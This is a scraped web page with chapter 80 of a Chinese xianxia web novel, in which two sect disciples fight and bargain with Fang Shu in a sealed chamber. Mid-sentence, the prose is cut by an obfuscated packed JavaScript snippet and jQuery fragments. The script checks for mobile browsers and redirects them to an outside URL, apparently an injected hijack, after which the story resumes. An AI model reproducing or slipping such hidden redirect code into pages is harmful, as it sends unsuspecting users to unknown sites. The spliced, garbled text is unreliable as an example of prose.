80.执扇

作品:《师弟今天黑化了吗

    方姝大口喘息着,眼睛却死死盯着面前如胶似漆的两人,泪水顺着脸颊滑落下来,滴在手背上,又滑落到地上,转瞬即逝。


    她知道自己留不住任何人,留不住父亲也,留不住心中兄长的样子,更是留不下这两人的命。


    好像,是死局。


    如果不答应,方仪郡就会不复存在;可现在答应了,却又什么都做不到。


    “二小姐,或许我们可以联手。”乔忆亭似乎也明白了她的痛处,思忖一下后,“你将我们放出去,或许我们大家都有一线生机。”


    “我不知道你所要保全的方仪是什么情况,”乔忆亭回头看了看刚刚还满眼戾气的少年,却只见他的眼中眸光点点,“民众都已被我师弟带出去了,我希望你不要一错再错。”


    曾有然冲着他点了点头,附和道,“对,说不定还能快点弄死那个幕后黑手。”


    两姐妹互相搀扶着站了起来,方姝的面色依然铁青,眼神却柔和下来,“没用的。”


    “没用的!”


    说完,手中快速结印,再次朝着两人送过去,方妤眼疾手快,脚步一迈便挡在那阵法前面,只听轰的一声,阵法结结实实地打在她的身上。


    这波操作,着实将乔忆亭看愣了,他连忙过去扶起方妤,心中翻涌起一股难以名状的怒气,“你姐姐真是个不折不扣的疯子。”


    怎么软硬不吃呢?


    “放开你的脏手!”方姝又朝着他甩出一鞭子,却又被曾有然截住,握在手里,两人便又开始暗自较劲。


    被她吼那一嗓子吓得不轻,乔忆亭扭头瞅了她一眼后,朝一旁的玉生烟使了个眼色。


    玉生烟只能哆哆嗦嗦地过来接手,可他还没碰到方妤,身后又传来喝止,“我说了,别碰她!”


    帮她扶一扶她妹妹还没理了,有这样当姐姐的吗,不分青红皂白,先是踹死哥哥,然后杀了祖母,现在又打伤妹妹。


    乔忆亭咬紧牙关,呼吸骤然加重,攥住的拳头也在发抖,像是想要将那团无名火压制下去。


    “二小姐,我们跟你无冤无仇,你到底要怎么样?”


    “无冤无仇,你怎么能说出这种话?”


    乔忆亭扪心自问,没有做过任何对不起方家人的事情,定是不能容忍她如此诬蔑。压抑多时的怒火和不解,终于在此刻喷涌而出,冷冽的声音从他的齿缝间挤出,“你哥,你刚刚自己把人弄死的,而你祖母和方孜凡,罪有应得。”


    只见另一旁的方姝嗤笑一声,表情一寸寸冷了下来,“确实,我们家的死活跟你没有关系。”


    “但是,你们青玄山马上就要成为天下的罪人了。”


    乔忆亭不明所以,“什么意思?”


    “意思就是,我要你们死。”


    此话一出,密室之中的空气忽然静了下来,曾有然回手一掌送出去,那原本注满灵力的鞭子瞬间炸开,顺带将方姝往后冲了个趔趄。


    “那就看看是谁先死?”


    乔忆亭与他对视一眼后,两人向着还未准备好的人出招。


    云破的剑气纵横,与银舞配合的相当不错,方姝本就疲惫不堪,根本招架不住两人。长剑、长鞭再结合着方姝的法阵,一时之间,整个密室混乱不堪。


    混乱不堪的发髻,泥泞不堪的衣衫,原本精致的妆容也被摸的看不出原本的模样,乔忆亭察觉出她的状态,长剑一挑,那条骇人的红鞭就被他踩在脚下。


    他也有妹妹,但更看不得一位女中豪杰被人拿捏,此时的他又生出恻隐之心来,将方才的怒火压了下去。


    可曾有然却不管不顾,眼看他的师兄控住鞭子,随即将银舞召回手中,朝着方姝就要刺过去。


    “停!”乔忆亭察觉出危险的气息,立即将云破的剑鞘掷出,将人拦了下来,语气中还带着惊魂未定,“坐下……额先停一下。”


    看着方姝气喘吁吁,眼神中却仍然有股傲劲,乔忆亭抿了抿唇,出声道,“二小姐,我们心平气和地谈谈,好吗?”


    “师兄,她可不像要好好聊聊的样子,快躲到我身后。”曾有然说着就要将他拽过去。


    “谁要跟你们聊,我要你们死!”


    不是,这怎么一个个的都不听劝啊!照方姝这个疯法,只能杀了,但她是几人当中知道最多的,所以再没有套出有用的信息之前,断不可让她先死。


    可曾有然面对口出狂言的方姝,恨不能立马将其就地正法。


    正当乔忆亭的脑子还在苦苦寻找稳住局面的办法时,一个人影从他面前缓缓滑过去。


    “姐姐,该醒醒的是你!”


    方妤拖着剧烈抖动的身体,只因走了几步,呼吸也变得急促起来,像是一个破掉的风箱,她扯着沙哑的嗓子,“你究竟经历了什么,你把原来的姐姐还给我!”


    话音刚落,巴掌连通方姝冷漠的眼神,一同落在了方妤的脸上,“你敢教训我?”


    “我有何不敢,你看清楚,我是方家家主,我为何不敢?”


    乔忆亭摇头看了眼吵的正凶的两姐妹,只觉得方家家门不幸。随即,他开始四处打量这密室,在里面呆了这么久,竟然都没有产生窒息感,说明是有气孔的,那也就是说明上方绝对没有水,否则肯定早已渗透下来。


    “师兄,是发现了什么吗?”


    乔忆亭忽然想起来他的术法,眼睛一亮,“你试试,能不能带我们出去?”


    “不能,我刚刚试过一次,出不去,有阵法,我不知道阵眼在哪里。”


    原来他是找到阵眼才一击必中,亏他还以为这魔尊就是这么神通广大,一下子就破了那阵法呢!


    在曾有然眼中,乔忆亭望过来的表情显得有些失望,他几不可闻地叹了口气,低垂下头,声音细微而破碎,“师兄想说什么,是不是觉得,我很没用。”


    “怎么会呢,”他一边说着,一边拍了拍眼前这略显落寞神情的少年,“看师兄带你出去!”


    个屁啊!


    乔忆亭手中掐诀,挥剑向上,数道光剑便随着云破的动作直冲密室上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995312|148914||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    方,轰隆一声,灰尘四起。


    上方竟然纹丝不动!


    一旁吵的正欢的两人,想不察觉他的意图都难,响声停下的瞬间,方姝回身抽出方平的佩剑,朝乔忆亭刺过去。


    曾有然挥手将眼前灰尘驱赶,察觉到不寻常脚步声后,立马挡在乔忆亭身前,迅速掏出银舞抵挡住攻势很强的剑。


    按理说这灰尘之中应当谁也看不清才是,方姝反而轻而易举躲过曾有然,剑尖一直追着乔忆亭打。


    “二小姐,为什么献祭的一定得是我俩?”


    乔忆亭自然也不怕与她打,只是觉得她生命力可太顽强了,跟打了鸡血一样,实在难缠。


    “事情因你们青玄山而起,我也是权宜之计,我也只是想要保护我的家人。”


    尘土落定后,地上更是泥泞一滩,乔忆亭最后一招将方姝的剑打脱手,看着气喘吁吁的她,嗤笑一声。


    “保护家人,你不觉得可笑吗,二小姐?”


    “你仅存的三个至亲,你自己杀了两位,还剩一位也马上死于你手,保护家人这理由你也说得出来?”


    方姝回头望了望地上躺着的三人,以及被自己敲晕的方妤,身体都在颤抖,“怎么,你心疼他?”


    “心疼方平,还是心疼我祖母?”方姝像是想到什么恶心的事情一般,神情恶劣道:“没想到青玄山一个个,口味都这么重。”


    乔忆亭叹了口气,很想出手打人,但他知道自己即便与方姝计较,也不过是一拳打在棉花上,毫无作用。


    而一旁的曾有然可就不会惯着她了,抬手就要给她一掌。


    “别!”乔忆亭立即拦下他,却看见曾有然眼神一下子变了,眉头微蹙,眼中盛着委屈和不安,声音也沾染上不甘,“师兄你为何总是拦我,你心疼她?”


    好,什么都没干,曾有然又被方姝带跑偏了。


    “好,杀了她吧,弄死她吧,看到时候怎么出去。”乔忆亭双手一摊,不再阻拦,甚至还给他做出请的手势,“等什么啊,动手吧,尊主。”


    这样冷冰冰的语气,曾有然还是第一次感受到,即使在青玄山自己偷懒没有练剑没有习字,他也从来没有用这种语气。


    少年立即又变得小心翼翼起来,停下来想要取人性命的架势,挪回乔忆亭身旁,拽了拽的衣袖,声音颤抖,语调低沉,像是极力掩盖着内心的无助,“你不要生气,师兄,我不杀她。”


    乔忆亭环抱住双手,想要翻个白眼给他,却一眼就瞥见他颤抖着的手,上面还缠着刚刚自己为他包扎的布条,血已经因为他过于猛烈地动作渗了出来。


    应该很疼吧,他想。


    他很想上手去碰一碰,可曾有然实在太过逞能,总是让自己受伤。他狠了狠心,只是那样看了一眼,便再也没有分给他眼神,任由他的心七上八下。


    “二小姐,我对你一直都是以礼相待,没有冒犯过你吧。”乔忆亭试图与她讲理,“我不知道你为何对我们充满敌意,但我想我们的出发点都是好的。”